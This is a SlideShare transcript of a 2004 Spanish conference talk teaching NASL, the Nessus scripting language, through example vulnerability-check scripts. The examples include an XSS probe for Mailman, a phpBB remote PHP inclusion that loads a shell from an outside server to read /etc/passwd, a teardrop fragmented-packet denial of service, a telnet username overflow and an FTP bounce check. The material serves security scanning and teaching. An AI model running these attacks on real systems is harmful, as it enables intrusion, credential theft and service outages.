NASL
Upcoming SlideShare
Loading in...5
×
 

NASL

on

  • 263 views

 

Statistics

Views

Total Views
263
Views on SlideShare
263
Embed Views
0

Actions

Likes
0
Downloads
2
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

CC Attribution-NoDerivs LicenseCC Attribution-NoDerivs License

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    NASL NASL Presentation Transcript

    • FIST Conference Abril 2004 NASLlenguaje de desarrollo de exploits Rafael San Miguel Carrasco
    • FIST Conference Abril 2004Tareas típicas del exploit dev :• escribir las cabeceras de un datagrama IP• implementar un diálogo HTTP• capturar y procesar paquetes en modo promiscuo• existencia de un fichero en un servidor• comprobación de desbordamientos
    • FIST Conference Abril 2004Contenido:1) NASL, Nessus, Knowledge Base2) Sintaxis del lenguaje NASL3) Librería de funciones4) Ejemplos de programación5) Consideraciones finales
    • FIST Conference Abril 2004 Nessus:• Escáner de vulnerabilidades• Libre distribución• Entornos UNIX• www.nessus.org• Para ampliar su capacidad: NASLNASL = Nessus Attack Scripting Language
    • FIST Conference Abril 2004 Modelo cliente / servidor:nessus nessusd host host hostnessusnessus
    • FIST Conference Abril 2004Lanzamos el cliente Nessus:
    • FIST Conference Abril 2004Selección de plugins:
    • FIST Conference Abril 2004Fijamos algunas opciones:
    • FIST Conference Abril 2004Rango de direcciones IP:
    • FIST Conference Abril 2004Iniciamos el scan:
    • FIST Conference Abril 2004Informe de vulnerabilidades:
    • FIST Conference Abril 2004 Intérprete NASL:• nasl –t 192.168.0.128 script.nasl• previamente lanzamos nessusd• sólo direcciones IP permitidas• políticas: nessusd.rules y nessusd.users
    • FIST Conference Abril 2004 Intérprete NASL:• nasl –t 192.168.0.128 script.nasl• previamente lanzamos nessusd• sólo direcciones IP permitidas• políticas: nessusd.rules y nessusd.users
    • FIST Conference Abril 2004plugin malicioso:nessus script malicioso nessusd host host hostnessusnessus reporte de vulnerabilidad atacante
    • FIST Conference Abril 2004Otra restricción:• NASL no permite la ejecución de comandos locales• No puede utilizarse para escribir exploits de ámbito local
    • FIST Conference Abril 2004 Knowledge Base:• base de datos para cada host• datos relevantes para los scripts• set_kb_item ()• get_kb_item ()
    • FIST Conference Abril 2004 Atributos de la clase Services:• Services/www• Services/ftp• Services/http_proxy• Services/imap• ...
    • FIST Conference Abril 2004 Atributos de la clase Host:• Host/OS• Host/dead • modificado por scripts de ataques DoS
    • FIST Conference Abril 2004 Otros atributos:• ftp/anonymous• www/frontpage• rpc/bootparamd• bind/version• ftp/root_via_cwd• ...
    • FIST Conference Abril 2004 Sintaxis: estructuras de control• if (condición) { instr.} else { instr. }• for (inic; condición; instr) { instr. }• while (condición) { instr. }• foreach elemento (array) { instr. }• repeat { instr. } until (condición);• operador x: • send_packet (udp) x 30
    • FIST Conference Abril 2004 Sintaxis: tipos de datos• No se manejan explícitamente (Perl)• Asignaciones: • a = 100; • nombre = “Rafael”; • bytes = raw_string (0x41, 0x01, 0xFF);• ¡No hay estructuras de datos!
    • FIST Conference Abril 2004 Sintaxis: arrays• a [1] = 450;• b = “cadena”;• if (b [2] == “a”)• if (a [1] == 450)• Caso 1 : b [2] = “o”;• Caso 2 : b = insstr (b, “o”, 1, 1);
    • FIST Conference Abril 2004 Sintaxis: funciones• posibilidad de definir funciones• existen limitaciones en la llamada a las funciones definidas por el programador• sintaxis: function suma (a, b) { instr. return (valor); }
    • FIST Conference Abril 2004 Sintaxis: funciones no anónimas• no importa el orden y número de argumentos especificados en la llamada• debe indicarse el nombre de los argumentos: send (data: “hola”, socket: s);• si faltan datos: se solicitan en tiempo de ejecución
    • FIST Conference Abril 2004 Librería de funciones: clasificación• manipulación de cadenas• sockets• raw sockets• protocolos http, ftp, telnet• funciones criptográficas• funciones “vínculo” con Nessus
    • FIST Conference Abril 2004 Funciones: manipulación de cadenas• operadores ==, <, >• operador >< • if (“Access denied” >< respuesta)• ereg () y egrep () para pattern matching• crap : para testear desbordamientos • crap (length: 1000, data: “bla”);
    • FIST Conference Abril 2004 Funciones: sockets• send (), recv () sin dirección IP destino• recv_line (socket: s, length: 100, timeout: 5);• get_port_state (port)• tcp_ping ()• open_priv_sock_udp (srcport, dstport)• flag MSG_OOB en send () ¿Por qué?
    • FIST Conference Abril 2004Funciones: raw sockets• protocolos soportados: ICMP, IGMP, TCP, UDP, IP• funciones forge_X_packet ()• pcap_next ()• funciones get_X_elements ()• insert_ip_options ()• send_packet ()
    • FIST Conference Abril 2004 Funciones: http, ftp, telnet• ftp_log_in (usuario, password)• telnet_init ()• http_get (), http_post (), http_head (), ...• is_cgi_installed (“/cgi-bin/search.cgi”)• cgi_dirs () http_get (port: 80, item: “/cgi-bin/search.cgi”, data: “query=hola”); ¡No podemos simular servidores!
    • FIST Conference Abril 2004Funciones: criptográficas• digests MD2, MD4, MD5• digest SHA-1• digest cifrado HMAC HMAC_DSS, HMAC_MD2, HMAC_MD4, HMAC_MD5, HMAC_RIPEMD160, ...
    • FIST Conference Abril 2004 Funciones: integración con Nessus• script_category ()• script_family ()• script_bugtraq_id ()• script_cve_id ()• script_dependencies ()
    • FIST Conference Abril 2004Funciones: integración con Nessus• security_hole (descr., puerto)• security_warning (descr., puerto)• security_note (descr., puerto)
    • FIST Conference Abril 2004Ejemplo: XSS en MailmanPasos: • comprobar la existencia del script vulnerable • enviar petición GET con código HTML/Javascript • comprobar respuesta del servidor
    • FIST Conference Abril 2004Ejemplo: XSS en Mailmanpuerto = 80;cadena = "<script>alert(document.domain)</script>";url = "/cgi-bin/listinfo";display ("nMailman XSS bug testn--------------------n");if (is_cgi_installed (url, puerto) ) { display ("info: listinfo existe en la version de mailman instaladan"); socket = open_sock_tcp (puerto); peticion = http_get (item : "/cgi-bin/listinfo/" + cadena, port : puerto); rsend = send (socket : socket, data : peticion); rrecv = recv (socket : socket, length : 32000); close(socket);
    • FIST Conference Abril 2004Ejemplo: XSS en Mailmanif (cadena >< rrecv) { display ("info: esta version de mailman es vulnerable a XSSnn"); } else { display ("info: version NO vulnerable de mailmannn"); } return (0);}display ("mailman no esta instalado en el servidornn");
    • FIST Conference Abril 2004Ejemplo: XSS en Mailman
    • FIST Conference Abril 2004Ejemplo: XSS en MailmanIntegración con Nessus: • bloque if : registro en nessusd if(description) { script_name(english:"Mailman XSS bug test"); script_description(english:"Comprobación del fallo de XSS en Mailman"); script_summary(english:“Petición GET con código HTML/JavaScript"); script_category(ACT_ATTACK); script_family(english:"Misc."); script_copyright(english:"Rafael San Miguel Carrasco"); exit(0); }
    • FIST Conference Abril 2004Ejemplo: XSS en MailmanIntegración con Nessus: • notificación a Nessus if (cadena >< rrecv) { report = “Mailman es vulnerable a XSS"; security_hole (port: 80, data:report); } • copiamos el .nasl /usr/lib/nessus/plugins • relanzamos nessusd
    • FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBB• servidor web propio• shell PHP de www.planet-source-code.com <php passthru (‘cat /etc/passwd’) ?>
    • FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBBPasos: • comprobar la existencia del PHP vulnerable • enviar petición GET con parámetros adecuados • verificar que en la respuesta del servidor aparece la cadena “root”
    • FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBBpuerto = 80;cadena = "phpbb_root_path=http://www.soluciones-seguras.com/&phpEx=php";url = "/album_portal.php";display ("nphpBB Modified Insertion Bug Testn---------------------------n");if (is_cgi_installed (url, puerto) ) { display ("info: phpBB esta instalado en el servidor n"); socket = open_sock_tcp (puerto); peticion = http_get (item : url + "?" + cadena, port : puerto); rsend = send (socket : socket, data : peticion); rrecv = recv (socket : socket, length : 32000); close(socket);
    • FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBB if ("root" >< rrecv) { display ("info: se ha conseguido el fichero /etc/passwd del servidorn"); # pattern matching display (egrep (pattern: "^root*", string: rrecv) ); display ("nn"); } else { display ("info: la version no es vulnerablenn"); } return (0);}
    • FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBB
    • FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBBIntegración con Nessus: • bloque if de registro en nessusd • llamada a security_hole () si el ataque tiene éxito • copiamos el .nasl /usr/lib/nessus/plugins • relanzamos nessusd
    • FIST Conference Abril 2004Ejemplo: teardrop• ataque DoS que afecta a los stacks TCP/IP de algunos sistemas operativos• fallo en el algoritmo de ensamblado• implementación del exploit: • datagrama UDP 1: • payload N bytes, offset 0, MF on • datagrama UDP 2: • payload < N, offset < N, MF off
    • FIST Conference Abril 2004Ejemplo: teardropMAGIC = 2;IPH = 20;UDPH = 8;PADDING = 0x1c;MAGIC = 0x3;IP_ID = 242;sport = 123;dport = 137;LEN = IPH + UDPH + PADDING;src = this_host();ip = forge_ip_packet(ip_v : 4, ip_hl : 5, ip_tos : 0, ip_id : IP_ID, ip_len : LEN, ip_off : IP_MF, ip_p : IPPROTO_UDP, ip_src : src, ip_ttl : 0x40);
    • FIST Conference Abril 2004Ejemplo: teardropLEN = UDPH + PADDING;udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN);LEN = IPH + MAGIC + 1;set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);LEN = UDPH + PADDING;udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN);start_denial();send_packet(udp1,udp2, pcap_active:FALSE) x 500;alive = end_denial();if(!alive) { set_kb_item(name:"Host/dead", value:TRUE); security_hole(0);}
    • FIST Conference Abril 2004Ejemplo: overflow en BFTelnet• nombre de usuario muy largo• provoca la caída del servicio telnet• fallo típico de muchos otros servidores (ftp, pop3, ...)
    • FIST Conference Abril 2004Ejemplo: overflow en BFTelnetport = get_kb_item ("Services/telnet");if (!port) port = 23;if (get_port_state(port)) { soc = open_sock_tcp(port); if (soc) { banner = telnet_init(soc); banner = string(banner, recv(socket:soc, length:1000)); data = string(crap(4000), "rn"); send(socket:soc, data:data); close(soc); soc2 = open_sock_tcp(port); if(!soc2) security_warning(port); }}
    • FIST Conference Abril 2004Ejemplo: ftp bouncing• comando PORT para conexión de datos (protocolo FTP)• posibilidad de iniciar una conexión con host arbitrario• utilidad: • port scanning • bypass de las reglas de un firewall
    • FIST Conference Abril 2004Ejemplo: ftp bouncingport = get_kb_item("Services/ftp");if(!port)port = 21;login = get_kb_item("ftp/login");password = get_kb_item("ftp/password");if (login) { soc = open_sock_tcp(port); if(soc) { if(ftp_log_in(socket:soc, user:login, pass:password)) { command = string("PORT 66,88,91,109,0,21n"); send(socket:soc, data:command); code = recv(socket:soc, length:4); if(code == "200 ") security_hole(port); } close(soc); }}
    • FIST Conference Abril 2004Consideraciones finales:• soporte multilenguaje name["english"] = "BFTelnet DoS"; name["francais"]= "Déni de service contre BFTelnet"; script_name(english:name["english"], francais:name["francais"]);• forking automático y transparente ejemplo: dos puertos telnet
    • FIST Conference Abril 2004Detección de WAPs con NASL:www.tenablesecurity.com/white_papers/wap-id-nessus.pdfMás información sobre NASL y Nessus:www.nessus.org/documentation.htmlEstas transparencias:www.soluciones-seguras.comwww.fistconference.org
    • FIST Conference Abril 2004Nuestra empresa: Soluciones Seguras
    • FIST Conference Abril 2004¡Muchas gracias por venir!